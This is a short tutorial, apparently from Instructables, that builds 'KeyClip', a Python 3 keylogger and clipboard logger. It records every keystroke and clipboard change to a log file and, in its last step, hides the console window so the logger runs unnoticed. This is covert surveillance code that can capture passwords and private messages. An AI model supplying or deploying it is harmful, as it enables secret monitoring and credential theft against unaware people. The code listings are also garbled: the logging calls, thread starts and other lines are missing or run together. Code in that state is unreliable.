Introduction: KeyClip: a Keylogger & Clipboard Logger With Python3 in 3 Minutes

This instructable will teach you how to make a simple key/clipboard logger in python 3.

The clipboard text will be preceded by 'Clip: '.

The keys will be preceded by 'Key: '.

Step 1: Import Necessary Packages

You will need to install pynput and pyperclip before you can import them.

We will use the keyboard module from pynput to listen to keystrokes, and the paste function from pyperclip to read the clipboard.

from pynput.keyboard import Listener
from pyperclip import paste import logging from time import sleep import threading

The logging module will make the log files.

Threading is used to run the keylogger and the clipboard logger as two individual threads.

Step 2: Configuring the Logger



		    format='%(asctime)s: %(message)s')

If you want to store the log files in another directory, add it in front of the 'KeyClip.log' in the file name.


filename = "c://Users//tom//Desktop//logs" + "KeyClip.log"

Step 3: The KeyLogger

def onPress(key):'Key: ' + str(key))
def keyLogger():
    with Listener(on_press=onPress) as l:

Step 4: The Clipboard Logger

def clipLogger():
    prevClip = ''
    while True:
        clip = paste()
        if prevClip != clip:
  'Clip:  '+ clip)
            prevClip = clip

*The sleep function is used to limit the frequency of the while loop.

Step 5: Threading

keyThread = threading.Thread(target=keyLogger)
clipThread = threading.Thread(target=clipLogger)


Step 6: Removing the Terminal

Change the python file's extension to .pyw instead of .py to remove the terminal that pops up every time you run it. To close the logger, you will need to use the task manager tho.